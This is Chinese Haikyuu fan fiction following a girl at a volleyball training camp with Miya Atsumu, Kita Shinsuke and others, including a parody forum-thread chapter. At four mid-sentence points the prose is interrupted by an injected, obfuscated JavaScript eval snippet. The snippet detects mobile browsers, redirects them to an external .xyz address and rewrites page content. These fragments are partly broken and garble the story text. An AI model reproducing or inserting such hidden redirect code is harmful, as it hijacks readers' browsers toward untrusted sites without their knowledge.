我背对着他比了个耶:“对我来说这完全是夸奖哦。”我背对着他,不知道伦太郎此时脸上的表情,不过听到他轻轻笑了一声。 怎么样,你也为我精辟的比喻而折服吧,嘿嘿。 又是“咔擦”一声。 “伦太郎,你这样会让我觉得你不是摄影爱好者,你完全是暗恋我。” “不要说这种可怕的话。” “居然没直接否认吗?”我笑嘻嘻地转身,打了个响指摆出酷酷的手势,“那就请沉醉在本小姐的魅力之中吧!” “少和宫侑玩,也少看点奇怪的漫画。” “网球王子怎么是奇怪的漫画!”没品位的坏东西,永别了! 角名伦太郎成为第二个一句话不说就收拾东西从我面前离开的人。 【玩家】角名伦太郎退出了游戏。 可恶。一点幽默细胞都没有的坏家伙。 第二天的正式集训结束,我答应了木兔所以依然留了下来,今天的娱乐赛参赛选手雷打不动:酷爱扣球把队友都吓退了的木兔选手,成熟的猫头鹰饲养员赤苇选手,自从知道昵称叫小黑之后我怎么看怎么奇怪的黑尾选手,因为知道我们缺人所以非常善良留下来凑人数的夜久选手,以及虽然答应留下但是离我八百米远还在闹别扭的阿侑。 还是攻防轮换的3v3吗?我一边拉伸一边提问。黑尾看着我,笑得不怀好意:“难道满枝怕了吗?” 呵呵……怕,我怎么会怕,我只是对防守不太感冒而已,我才不是害怕! 昨天的防守,怎么说呢……非常费劲啊。男女排的球网高度本来就不一样,发球和扣球也就算了,毕竟我乐在其中,但是拦网,好痛苦啊好痛苦,为什么要我这个一米七主攻手来做防守拦网,进攻,我要进攻。 不是有句话吗,进攻才是最好的防守啊! 我转了转自己的手腕:“你以为我会吃激将法这一套吗?” “还以为满枝会是那种攻防两端都很均衡且完美的六边形战士呢。”黑尾摸了摸自己的下巴,咂了咂嘴,深层含义不言而喻。 “我确实是。”我礼节性地假笑了一下,“如果世界上没有完美的那我绝对就是最靠近完美的那个,不好意思捏。” “那来吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431050|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。先来我们这边。” 可恶,这不是完全被套住了吗。嘴太快了我。 我气哼哼地站起身来走到黑尾那边场地,防守拦网的第三位依然是宫侑,他在我身边,这次倒没有冷哼,只是面无表情的,显得很吓人。 “喂,要是敢在场上搞小动作害我输掉,饶不了你。”一码归一码,别的事我都可以睁一只眼闭一只眼,甚至他闹脾气说了有点过分的话,我都能滤镜系数拉满觉得可爱,但是排球不行。 只有这个不行。如果因为个人情绪在场上乱来的话,他绝对死定了。 宫侑罕见的没有生气红温,我怀疑他现在的表情管理是不是有和北学习过:“我才应该要这么说。” “闹脾气的是你又不是我。莫名其妙被骂了废物的人不是你是我,需要我提醒你这一点吗?”我觉得我只是单纯地叙述了事实,我很冷静也没有在指责、生气,非要说的话,我也只是因为马上要比赛了所以有点认真。 “哦呀哦呀,是闹矛盾了吗?” “没有。”我和宫侑同时回答。声音重叠的那瞬间我和他都顿了一下。 黑尾的吐槽简直像是实时弹幕:“哇,都认真起来了呀,简单的娱乐赛还露出这种表情,有点吓人哦。” “有吓到你吗?”我笑了一下。 “现在好多了。” 是吗? 在第三次因为没有默契的起跳导致木兔丝毫没有阻拦地扣空档得分之后,我一边揉了揉被擦得红肿的手掌边缘,一边看向今天完全是宫治附体的阿侑:“你是故意的吗?” “是你跳错了。” “昨天也是这样跳的。” “因为昨天他扣的都是直线球。” “你防守的才是斜线方向吧。” “所以我跳了对的时间,你应该和我一起。” 我沉默了一会:“好。但如果你是和我置气所以故意这样起跳,我会把你杀掉。” “哇!小满好酷的发言!” “木兔学长,这种时候最好不要发言比较好。” “诶?为什么0.0” 我努力地闭了闭眼睛,连着几次斜线擦边导致按摩之后手掌边缘还是火辣辣的疼痛,正准备和黑尾说没事了继续吧,却被突然拉住了手。 看表象还以为是什么成熟可靠大人的宫侑捏了捏我明显红起来的那部分,低低地问我是不是很疼。 “废话,你试着被打打看。” “……那等一下我和你换个位置。” 我意外地看着他没回答,大喊大叫的宫侑选手终于降临来到他忠实的排球场:“干嘛啦!我又不是那种没有眼睛也没有脑子的笨蛋!难道要你疼到手都肿成包子里还要当做没看见吗!” 哈……完全是莫名其妙的生气又莫名其妙的消气,但是,我摸了摸他的头发:“谢谢你哦,这么关心我,我太感动啦阿侑。”说完,我隔着网和赤苇眨了下眼睛。 确实是非常有用的等待疗法呢,赤苇酱。 12. 没问题啊我是抽象大师 “呼……呼……”墙上的指针转过一圈又一圈,我久违地感到疲惫,休息阶段甚至懒得下场,就这么跪着,手撑着地板,出汗太多简直像被水淋了一遍。 鬼使神差搭的黑白护腕现在就像桑拿房里的毛巾,又湿又闷,我缓了一会就地坐下来,扯着护腕边顺势脱下扔到了一旁。因为太累了,所以心里很烦,耳边的嗡鸣不断,我其实听到了宫侑问我的话,但是,不想接话。 我最开始的体力并不算很好,伊琳娜锐评我那个时候能打完一天的轮转训练全凭我实在是个犟种。但是我只要一累就挂脸,咬着牙坚持打下去的话,扣球简直像是要不管不顾地杀人。 没有技巧,全是力气。虽然好防,但是手痛。 伊琳娜不会打扰我,栗子学姐也不会,甚至最欠最不正经的及川彻也不会在这个时候烦我,她们都很会看我脸色,知道这个时候我没什么力气,故意逗我很容易让我红温警告,所以我一个人好好休息才是最佳的处理方式。 只有宫侑。 “我其实传给你的时候还担心你接不到呢,虽然我觉得那一球只要接到肯定很好打啦,不过我没和你沟通过,传出去的时候吓了一跳,还好你真的接到了。 “有时候我甚至会觉得你是不是比阿治还要了解我,好可怕哦小满,你怎么做到的,是不是我传什么球你都能接到啊。”完全完全不会看一点脸色的宫侑一边说一边在我旁边坐下,两个小火炉靠在一起,我们这里快变成赤道了。 我大脑放空,神游天外,黄毛狐狸依然喋喋不休,我现在是能听懂关西腔了,但是在我极度疲惫的情况下,他说的所有话都从我左耳朵进去,大脑识别为罗马音,然后又从我的右耳朵钻出——已经完全失去解码功能。 赤道以南的板块急迫地想要压缩北方的领域,我一让再让,湿漉漉的手腕被直接抓住,滚烫的手心贴合在我已经被风吹得发凉的皮肤上,我才将视线慢吞吞地落到宫侑身上——星星一样闪着的眼睛,活力满满兴致勃勃还想要继续和我聊天、分享,根本看不出刚刚打了那么大活动量的比赛。 这人都不会累的吗?我要讨厌他了。 “小满,你要是我的主攻手就好了,那就太好了,不能更好了。”宫侑笑起来更像是狐狸了,握着我的手腕往他的方向扯了扯,因为他好像非常开心,我短暂的也开心了一下,“和你一起打比赛,一定超~有意思的。” 我恍惚了一下,更换一下主语,这种话,我好像也对另一个人说过。 我那时候说,为什么彻不能是我的二传,我为什么找不到像彻一样的二传,那些人都只会跟着我,跟在我身后,为什么不是彻做我的二传。 委屈得差点哭出来的我,哽咽着问,我是不是永远永远都找不到彻这样和我合拍的二传了…… 无法被复刻、替代的及川彻,明明就是天才。 如果他很讨厌这个title的话,好吧,是不是天才都无所谓,但,及川彻为什么不能做我的二传呢,他偏偏就不能是我的二传。 “嗯。”我轻轻地哼了一声,往前一倒,额头正好抵在宫侑的肩膀,我也想说些什么,但是好累啊,不想说话,于是,我又用力地嗯了一声。 如果彻能和我一起打比赛,我一定会很开心的。 “是吧是吧,你也觉得吧!” “嗯。” 所以我才答应去青城了。 “哦呀哦呀哦呀……”在场边喝水的黑尾铁朗带着他的口头禅走到我面前,我微微歪了下头,眼角余光瞟到他脸上有点……贱兮兮的笑,“在演什么校园情景剧吗两位?”虽然说着两位,视线只落到我一个人身上,什么意思,针对我? 还在缓慢又缓慢地恢复体力条的我连扭脖子的这个动作都觉得烦,还好调整视角靠抬眼皮也能做到,虽然有一点点像在翻白眼,好歹算是和黑尾对视了:“浑身上下都像18x的男人没资格这么说。” 讲话的时候要和对话人对视,我好有礼貌。 “……噗。”黑尾身后的夜久卫辅闷笑了一声,你也很喜欢我的比喻吗夜久君,太好了,终于有人能懂我的幽默了,集训结束加个line吧,不想开口说话的我在心里这样想。 我以为黑尾会生气,但是他没有,我以为他会再一次激将法让我继续陪他们打练习赛,但是也没有;虽然仅仅只是陈述事实的“娱乐赛而已把自己打受伤就不好了,今天就到这里吧”同样让我非常火大。 “什么意思,看不起我?等我十分钟看我满血复活然后在你头上暴扣。” 黑尾看我的眼神简直像在看什么小宝宝,十足的慈爱:“你这样讲话,和研磨还挺像的。” “哦,你是小黑妈妈吗?” 我现在怀疑因为太累了所以精神出走语言逻辑小小混乱的不是是我而是他:“很累的时候会变烦躁这一点也和他很像。” “so what do you want to say?让我们说日文好吗?”怕他听不懂,我又拿英文翻译了一遍,“speak Japanese,plz.” “没什么。”他笑了一下,“凭借自己的技术平掉了男女身体素质差异,你很厉害啊,满枝。” 我觉得你刚不是想说这个,鸡冠头大哥,你不要也做谜语人好吗? 地球OL这个游戏到底有没有一键让所有人谜语人都说大白话的补丁啊。我好累,打完比赛听人说谜语我还要猜猜猜,我好累。 我反手握住宫侑的手腕,两相对比之下,虽然神经病的时候完全人憎狗嫌的宫侑是多么直白多么可爱的人啊!我都快要爱上了。 和宫侑一样打完了和没打没什么区别的木兔用经典heyheyhey表示了今天加训的结束,走之前和我开心地挥了挥手,叫着我的名字,说明晚还要一起打哦。我点点头,比了个ok。 他身后的赤苇看着我的表情,看上去比我的脸色还难看:“真的ok吗?” 我努力把手抬起,比给他看:“没问题,睡一觉就好了。”然后我捏了捏宫侑的手腕,“帮我拿一下外套,我们也走吧。” 赤苇:“你最好是。”他掏出自己手机,递给我的时候,前置摄像头里我的脸色完美诠释了什么叫做“活人微死”。 我盯着镜头两三秒,把手机往他那里推了推:“完——全,没问题。”身后宫侑声音里还藏着笑意:“我们走吧。”我顺势往后一指:“完全是他的问题。” “今天被他带得打爽了。很久没这么剧烈活动过,有一点点架不住。”我接过宫侑递来的外套,套好之后压着他的手借力起身,“好啦,阿侑,起驾回宫!” “你最近又看了什么奇怪的东西。” “非常火的中国宫廷剧!”我挂着他的胳膊,“你也要看吗!” “不,我拒绝。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431051|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你要跟上我的步伐呀阿侑,玩梗搞抽象多有意思呀,能不能懂一下我的幽默。” “不,我觉得那样很傻。” 居然被白痴阿侑说我这样很白痴,我承认我破防了,我真的破防了:“都说了只是在玩梗呀!呵呵,我以后再也不搞抽象了,你们这群人居然没有一个懂我的幽默而且居然真的把我当白痴。我很伤心,我很心碎,我决定明天一口气买五个地区限定的抹茶布丁并且吃一个扔一个最后剩一个泡热水喝掉!” “布丁做错了什么。”出了训练馆之后天已经全黑了,到宿舍楼的路上没什么灯,宫侑一边说一边把我往他身边带了带,“哦,你刚刚是不是在搞抽象。” 我:……梗说破了就不好玩了!一点幽默感都没有的人才是白痴。 【玩家】宫侑被踢出了队伍。 “为什么不说话了。”踩雷不自知的宫侑疑惑地问我,我哼哼两声:“所以你今天为什么对我生气。还骂我!我都没做错什么!” 脚步的声音一重一轻,重的是体力值还在红线我,轻的是体力怪物宫侑,踩在楼梯上,散在空旷的空间里,有点像背景音乐里的节拍器。 两三对节拍之后,刚刚还活泼开朗的宫侑同学突然down了下来:“我也不知道。” ?天杀的谁把我们家阿侑也变成谜语人了。 “我只是昨天路过,然后,听到你和别人在打电话。”像是意识到这种话需要面对面地说,他松开了给我借力的手,楼梯口的灯光好巧不巧的把他整张脸都笼住,我不合时宜地想到早先黑尾说的话。 阿侑的脸,确实可以去做校园偶像剧的男主角了。 不过按照现在男主总是被男二多方面爆杀的设定来看,他应该是那种什么都很好但是偏偏会败犬的男二。毕竟男主哪怕千不好万不好,哪怕他是行事很low的暴躁狂,可是有作者的偏心和爱啊! “我也不知道我为什么生气。”宫侑说,“但我听到你和他说起我,就觉得不高兴。” “为什么?”我回想了一下昨晚和若利的聊天内容,“因为我说你的神经病?” “你还说我是神经病!?” …… 你没听到那句那你为什么生气。 突然间自爆的我非常无语:“那都不重要,所以你都没听到我说你的神经病,你为什么生气。” “因为我感觉……他比我更近?”宫侑皱眉沉思,看上去正在试图梳理一下自己的语言逻辑,说起来国文考试都低分滑过的这位真的有这个东西吗?我保持质疑。 但我是他的好朋友,愿意耐心一下等他讲出一个他能接受的答案,我能不能听懂另说吧。 “小满,我觉得我也许是……” “阿侑。” 我探头看向他身后:“队长大人!” 被打断说话的宫侑还在迷茫阶段,愣愣地转头也问了句好。 “运动之后要及时洗澡,免得感冒。”北的视线从他身上慢慢移到我身上,一瞬间,我好像也有一种被人拎住了命运の后脖颈的感觉。 比宫侑会看脸色多了的本人直接滑跪道歉:“好的队长大人我立刻回去!” “我送你。”越过宫侑,北走到我面前。 已经完全认同自己是小鸡崽的我连连点头:“好呀好呀。”然后又和表情非常苦恼的宫侑挥了挥手,“阿侑拜拜,晚安哦。” 13. 没问题啊插播一则论坛体[番外] 平成25年永不下雪>>偶尔不是很懂姐的人际关系 1L [楼主] 如题,我觉得再这么下去姐的箭头图不应该叫平成组应该叫平成群了,小小一个组的编制容纳不下这么多人啊啊啊 2L 楼上是看到MSBY和FCB最新的互动采访了吗?老实说我也不是很明白sks和fm是怎么关系这么好的0.0 可以说吗感觉sks和fm现在比fm和ot熟 3L ot是前夫哥啊,前夫哥是不一样的……我的意思是,前夫哥是单箭头最多还得不到的,啊不是,前夫哥是至少曾经板上钉钉谈过的哦呵呵呵呵呵 4L 离婚组日常都是这种精神状态了吗?楼上ID后缀好眼熟,是不是上次fm给ot的推特点赞之后组里抽了52个52的就素你0.0 5L 呵呵呵呵是我呀是我呀,我精神状态很好呀^^不就是离婚吗我们彻酱早晚有一天会和满枝酱复婚的哦呵呵呵,结婚证就是要永远比离婚证多一本呀嘻嘻嘻嘻 6L 埋了吧,看起来精神状态和在推特上隔空喊话的ot酱已经有的一比了,这何尝不算是一种粉随蒸煮kkk 7L [楼主] 我搬了隔壁组的熟肉翻译,细品,每一秒都不容错过啊啊啊? 【狼与玫瑰>>sksfm>>1012采访及花絮相关cut】 8L 我**个**什么叫“命运の相遇”啊啊啊,立本人你们的中二之魂真的要用在这种地方吗?还有BGM为什么莫名其妙就燃起来了,这有什么可燃的啊喂!!! 9L 我不理解为什么sks和满枝碰到一起也会变小品啊,满枝的抽象病毒传染性那么高吗我真受不了了 10L 姐:我习惯比赛前去卫生间洗手,擦干之后再拿酒精湿巾把手擦一遍,因为这样很快就会干掉,很凉快,我会通过这个确认当天的手感问题 :然后那一次我看到了kiyo酱 11L “kiyo酱”,很好,成熟的产品姐已经开始自己找糖吃了,请大家都来支持我们小枣小满喵 12L 当年还没见面已对sks形成刻板印象的姐和sks对视:请不要拿一副找到同类的眼神看我,我不是爱干净,啊不对,我是爱干净但是这个擦手不是因为爱干净 笑疯了,满酱还在那解释sks的阴湿洁癖男之名实在太太太出名,以至于自己才会刻板印象入脑,and:我本来就是嘴比脑子快啊一直都没改过啊! sks在一边:这有什么可骄傲的啊 13L 原来小枣在小满面前也是吐槽役的设定吗!话又说回来,谁能忍住不吐槽脑子里总是有各种奇奇怪怪想法的小满啊嘎嘎嘎嘎嘎 能把小海鸥经常性逼疯到现在还没脱敏的人真的不多见了姐 14L 主持人问小枣当时在想什么,小枣:我只是随便看了一眼,后来她说了那一大堆,我觉得她可能脑子有问题 笑吐了,之前赛后采访小枣最近的苦恼,小枣也说感觉自己在被一群单细胞和神经病包围 单细胞:木xxx郎、宫x、日xx阳,那么神经病难道就是……! 15L 难道就是……? 16L 没错就是!既是单细胞而且神经病的宫侑选手! 17L 没问题啊完全没问题啊,直接鼓掌? 18L 跳到P2更是legend级别的小品,化妆室里佐久早冷着张脸在那被化妆师化妆,满枝化好了在他身后抱着胳膊站着:要不要等你化完了给你身上喷点消毒水什么的 佐久早:只是不习惯,倒也没到这种程度 满枝:我以为你是那什么,豌豆公主 佐久早:出去打比赛认床睡不着半夜三点给我打电话差点哭出来的你才是吧 19L 啊啊啊啊啊这什么,这什么!???半夜三点打电话,如果这还不算在谈!姐姐姐夫结婚前能不能告诉一下我们啊啊啊,悄无声息的就这么在镜头面前爆了大雷你们两个的经纪人知道吗? 20L 笑死,姐好像根本没意识到,立马挂脸说还不是阿侑睡得太沉打不醒 我:不是姐们.jpg你到底知不知道这句话单被截出去又能挂上推特热趋了啊啊啊 21L 姐嘴上从来没个把门的,预测一下今晚早柚满三角就会上推特热趋然后前夫哥又来破防隔空喊话,belike:xx不要自作多情啦小满唯爱及川大人?,然后柚子哥:前男友在抢什么戏份啊kkk 然后就会进入前夫哥破防→柚子哥拱火→平成组逐个下场→开始混战→路人再一次感慨好多人啊的循环 我好熟练的总结啊()这一集我们是不是看过好多次了 22L 其实一直想问前夫哥是不是很早之前就看柚子不顺眼啊 毕竟广为流传的八卦里不是说姐转学去了稻荷崎之前就是和前夫哥分手了吗,过了一段时间又复合了,然后又分手了笑死 23L 我一想到柚子这么好吃的水果居然是姐亲自给宫侑取的花名我都有点恶心了? 24L 楼上别装,你ID后面还挂着AtSue专组的黄金徽章,被我逮住了吧你个串子! 25L ……笑得,我早说过了AS的产品姐绝对是最会搞抽象的 抽象姐和抽象哥的产品姐,完全是抽象次方啊! 26L 我怎么感觉小枣小满这对也不遑多让了额额额 小满挂脸之后小枣没忍几秒钟就:……我实话实说而已啊公主殿下 啊啊啊啊啊首先是sks你知道你叫公主殿下的声音真的很苏吗其次是sks你是真心私底下会这么叫还是为了哄小满陪她搞抽象啊啊啊 27L 不管是前者还是后者都很恐怖啊! 28L 很好哄的小满:哼哼,请叫我女王大人! 小枣:不要 :这听上去是什么奇怪的play :为了电视台考虑,拜托你上台之后管好脑子和嘴,说点能播的吧 实锤了是在搞抽象吧、、、sks你还我阴湿洁癖好梦男的伟大形象好吗,补药再搞抽象了啊 29L 是不是随机抓一个平成组和姐搭档都可以走马上任成为漫才担当() 好可怕的抽象病毒,我时常怀疑前夫哥为什么近水楼台先得月完全是他那时候就已经足够抽象,吸引了姐的注意力 30L 不要小瞧抽象哥对于姐的吸引力啊喂! 31L 到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431052|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在燃什么啊! 32L 我发现伊琳娜不让姐出来采访真的是有理由的,姐讲话真的不过脑子吧,sks拒绝女王大人说这太像奇怪的play了,姐(大惊失色(装的):天呐,臣臣你怎么这样!那个被亲亲一下都会脸红的臣臣去哪里了,你快把他还给我! sks:不要说那种让人误会的话玛利亚 姐(一秒变脸):你也别说那种恶心人的外号好吗钮祜禄臣臣 33L 要素过多了真的……我一时之间不知道先吐槽哪个比较好 34L 说起来现在呆梨人还觉得姐是温柔善良的圣母玛利亚吗……? 35L 看过姐在呆梨队头上暴扣还比中指之后应该就不会了吧、、、其实我真的好奇到底谁在传谣姐们是无所不应的神灯圣母玛利亚啊,怎么比姐还会搞抽象 如果伊琳娜说要把德国队大场剃光头之后姐真的做到了也算神灯的话() 36L 所以小枣真的有被亲过吗这对我很重要,以及是小满亲的吗这对我嗑cp也很重要 37L 为什么不可能是柚子哥 38L 别说恐怖故事 39L 是柚子哥的话现在黑狼队的核心二传应该已经火化了吧(无慈悲) 40L 还没发现吗在小枣这里对小满的忍耐度真的已经究极无敌断崖式的高了,随便换个人来都是立刻被灭口火化撒骨灰一条龙的待遇 41L 能不能懂一些姐在小枣面前光明正大叫他sakura酱还没被骂的含金量,据说姐还给小枣录过《Sakura》当手机铃声,是的就是那个生物股长的出道成名曲(虽然据某知名战地po主透露是大冒险的惩罚) 42L 小枣对姐完全是那种嘴上嫌弃实际上全盘接收的纵容型啊,只是和另一位对比对象看起来精神状态太稳定了,同框出现的时候才总被认为和姐不熟吧 43L 有没有一种可能,平成组里最疯的就是那一位以及阿根廷的那个……除了他俩谁来都要逊色吧,他的同胞兄弟来了都要甘拜下风好吗 44L 楼上注意一下,知名战地po主提醒过:他俩是一胞生的 只是一个表面就很疯一个藏得很深在疯() 我请问谁家好人请人吃饭会借着宣传饭团宫拍比心合照啊,不要小看隐藏的神经病啊喂! 45L 而且不觉得AS两个凑在一起总是很幽默以至于——和老板在一起的时候反而更像婚后小情侣吗kkk 46L ?这就婚后小情侣了?这把我们正宫大人放在哪里 姐可是每年有空都会去正宫大人家里过年的好吗? 47L 怎么突然就说到正宫了0.0楼上认真的吗? 48L ……?等一下,哪个正宫?这描述我怎么解出来两个、、、?@46L ,你说的那个人是队长吗? 49L 我好像知道楼上解的是哪两个了,但是哪两个好像都是队长吧…… 50L ……没打排球的那个还是还在继续打排球的那个……? 51L 突然发现好像确实两个都很符合正宫的标准()我滑跪,不好意思><> 14. 没问题啊不是神明是信介 “很辛苦的话一定要说,不要因为喜欢排球就也这样惯着阿侑。” 我和北一起走在楼梯上,因为没什么力气,抬不起脚,扶着扶手走的很慢,走着走着甚至在犯困,好想就这么直接睡在楼梯上,虽然很硌也很凉但我已经没力气去挑三拣四了。 剧烈运动而激素下落至正常水平之后,肌肉的酸痛和精神上的疲惫如潮水一般向我涌来,甚至淹没。我听见北的声音,缓了一缓才把它解码转译成功:“哦……阿侑的话,完全是小孩子一样的脾气,我高一的时候也是这样,没有生气也没有说在迁就。 “和阿侑打排球我很开心。” 我扶着扶手,岌岌可危的体力值已经不足以支撑我同时做“行走”和“说话”这两件事,所以我停了下来,继续说:“在前辈之前,阿兰也有和我说过啦。稻荷崎的大家都很好,我在这里也很开心。” 北的目光在静得出奇的晚上显得尤其温柔,他微微笑起来:“那就好。” 于是我们继续往上走了几级台阶,顶楼就是我住的宿舍楼层,我担心又出现和研磨的情况,走了几步按下廊灯的开关。 “啪嗒”。 “不过……”北的声音几乎同时在我身后响起,“叫阿兰是阿兰,叫我却是前辈吗?” 诶? 不需要我回头,北已经走到了我身边,我觉得好像有哪里不对,但是又说不上来,浆糊一样的脑子只剩下简单的关西腔转译功能,逻辑思考什么的还是太高级了。 玩家等级不足,此功能已被锁定。 “我……因为是队长嘛,然后,额……很尊敬的意思,但是……”我说的语序混乱颠三倒四,磕磕绊绊地想要表达我的意思——我想说的是我也很喜欢北,之所以叫前辈是因为北是队长,是很值得尊敬的人,不是疏远,也不是讨厌,不要生气。 但我讲话太不清楚了,说着说着我自己都沮丧地放弃。明天恢复体力条之后再清清楚楚地和他说吧,希望北不要太生我的气。 北的手落在我头顶,很轻地揉了揉。 “我也没有生气。” 我惊讶地抬头看向他,张嘴想说些什么,最后还是只能徒劳地阿巴阿巴……我开始有点恨宫侑了,真不该和他打那么上头的。我完全是个傻子了。 我吸了吸鼻子:“好的,信介。” 这次北的笑好像更明显了一点:“快点回房间吧,太晚洗澡可能会打扰到其他人。” 我再一次小鸡啄米地用力点点头,走到我宿舍门口准备敲门之前,北突然又说了一句:“虽然被满枝夸奖过是稻荷崎的神明什么的,我很开心,但,我并不是真正的神明,你知道吧。” 走廊的灯光其实并不刺眼,但北好像被单独加了一层强光滤镜,我看不清他的样子,也看不清他的表情。但北应该没有生气,他自己都说了自己很高兴,应该也不是伤心,北好像不会伤心……但为什么突然这么和我说呢?为什么突然和我说这样的话呢? 北是温和、从容、平静,好像完全没有弱点的人类,很了解每一个人,甚至包括这学期才加入排球社的我,有时候都像是拥有读心术一样,轻而易举就能知道我在想什么。如果说和宫侑在一起,总是非常开心,那么和北在一起,总是很安定。 再苦手焦虑的事情,有北在旁边好像就拥有了无所不能的能力,那曾经是我可以赋予的,现在我接收到了。北是最最靠近神明的那个人吧,“但是,你不想要做神明吗?” “神明大人都住在高天原上,离人都很远呢,满枝。”他没有靠近我,也没有很大声地说话,只是走廊太安静,好像所有人都睡着了,只有我和他。 我很恍惚又很不合时宜地想起一首诗,诗里说, 夜晚潮湿/ 地面潮湿/ 空气寂静/ 树林沉默/ 北也很安静,像春天绵绵的雨,夜里开出的花,沉沉坠下的稻穗。 北也应该有一首自己的诗。 我说这句话的时候脑子里什么也没有想,就像我非常辛苦地练习、脚都要累得抬不起来,可是小惠给我传球,我还是会条件反射地跳到合适的位置,在合适的时间把球扣下去一样。 我只是下意识地:“我想要给你写诗了,信介。” 北顿了一秒:“好,我很期待。” 信介是像神又不是神的,会让我非常安心的非常善良的人。 神明离得很远,但是信介靠得很近。 也许是因为太累了之后洗的热水澡,或许是因为信介,今晚很稀奇的我睡得很沉,一觉睡醒枕头旁边的手机早就没了电,怪不得今早没有接到若利的晨练邀请。 我把手机先插好充电,若利没打通电话应该知道情况,所以不着急先去食堂吃个饭吧。 “早上好小满!” “早上好木兔前辈!” “你今天来得有点迟哦。” “因为手机没电了闹钟没响嘛。”我笑眯眯地回答,幼驯染的电话闹钟怎么不算是一种闹钟呢,嘻嘻。旁边的赤苇看上去什么都没说,但我完全懂他意思:“放心,体力已经回满啦。” 赤苇点点头,又继续低头吃早饭。 我端着餐盘,轻而易举地就找到在吵吵闹闹的包围下独自安静吃饭的信介,过了一晚上脑子清醒的我准备好好和信介说话:“早上好,信介!” 信介抬头看到我:“早上好满枝。” 餐盘刚放下,我肩膀就被昨晚带着我没分寸打比赛现在依然没分寸的宫侑搭住:“你为什么突然和队长关系这么好了。” 我对他露出一个礼节性的假笑:“因为我已经进入了战斗的二阶段,现在可以挑战boss了。” “哈?” “你果然没有什么幽默细胞,这种浅显的比喻都听不懂吗?”我撇撇嘴,“阿侑你,boring~” “听不懂也不妨碍我觉得被你这么说超级火大。” 坐在他对面的宫治:“你是想打她吗阿侑,我感觉你会先被满枝打死。” 角名:认证? 成功成为小品中心人物的阿侑好像一点都不开心。 我:“而且我应该算正当防卫吧这样。” 阿治毫无感情地捧读:“这样我终于可以成为独生子了,太好了。” 对上脑电波的我们开心地击了掌:“完美大结局,欧耶!”虽然配合我演出的宫治依然是捧读,但我能用心地感觉到,他也很开心,嗯嗯。 到最后依然是没有加入团队频道的宫侑无能狂怒,因为不敢揍我也完全打不过宫治所以选择去祸害准备跑路的角名伦太郎,比预想到还要更好的结局!嘿嘿。 北坐在我对面,已经吃好了早饭,并没有加入我们迫害阿侑的游戏。但是,对接到他的目光,我想起昨晚和他说的话,很苦恼地把嘴里的东西嚼完咽下:“现在有一个问题,信介,完全不会写诗呀我。” “我以为你昨晚只是……”虽然北止住了话头,但我突然点亮了读心术的技能,知道他没说完的那句是什么。 “怎么可以不把我说的话当真……”我好委屈,昨晚快睡着的时候还在努力想怎么给他写诗呢,“虽然我昨天说话的时候是不太清楚,糊里糊涂的,但是,也算是承诺吧。说出的承诺就得做到,妈妈从来不会拿这些开玩笑。” 承诺非常重要呀,答应了就得做到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431053|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕一开始并不是真心的,哪怕听的人有万分之九千九百九十九的概率不会当真,但凡事都有万一呢。 “抱歉。”北很认真地对我道歉,我其实就伤心了一秒钟,他不和我道歉我都会自己恢复,但是他很认真地说对不起,我心情反而变得更好更好了。 “无论写成什么样,都是满枝很用心的作品吧。国文课上老师也有说过,‘大巧不工’,虽然不完全一样,但是殊途同归。真心就可以了,我都会很高兴。 “不需要在这种事上完美主义。” “信介以后很适合做幼师。”我听完他的话,得出的观点得到了其他大部分人的认同,这次少数的特例反而是角名:“但是北很难做出平易近人的表情吧,感觉还是更适合做小学的班主任一点。” “这样的话,说不定是排球队的教练,输了比赛都不用说什么光是在那里站着我就会自动开启复盘。”伊琳娜也是,面无表情的时候超级吓人。虽然看惯了北没什么表情的样子,但是,富有威信力的内核是完全一致的! 这次所有人都点头认可我的观点。看起来上场打比赛的人确实比我更有感触。 愉快地吃完了早饭,我回到宿舍给手机重新开机,接连跳出来的信息居然不是若利的通话提醒而是…… iwawawa:过几天放假你回宫城吗? iwawawa:如果不回来的话我们去稻荷崎找你也可以! iwawawa:稻荷崎周边有什么好吃的吗? iwawawa:听说你在稻荷崎做了经理? 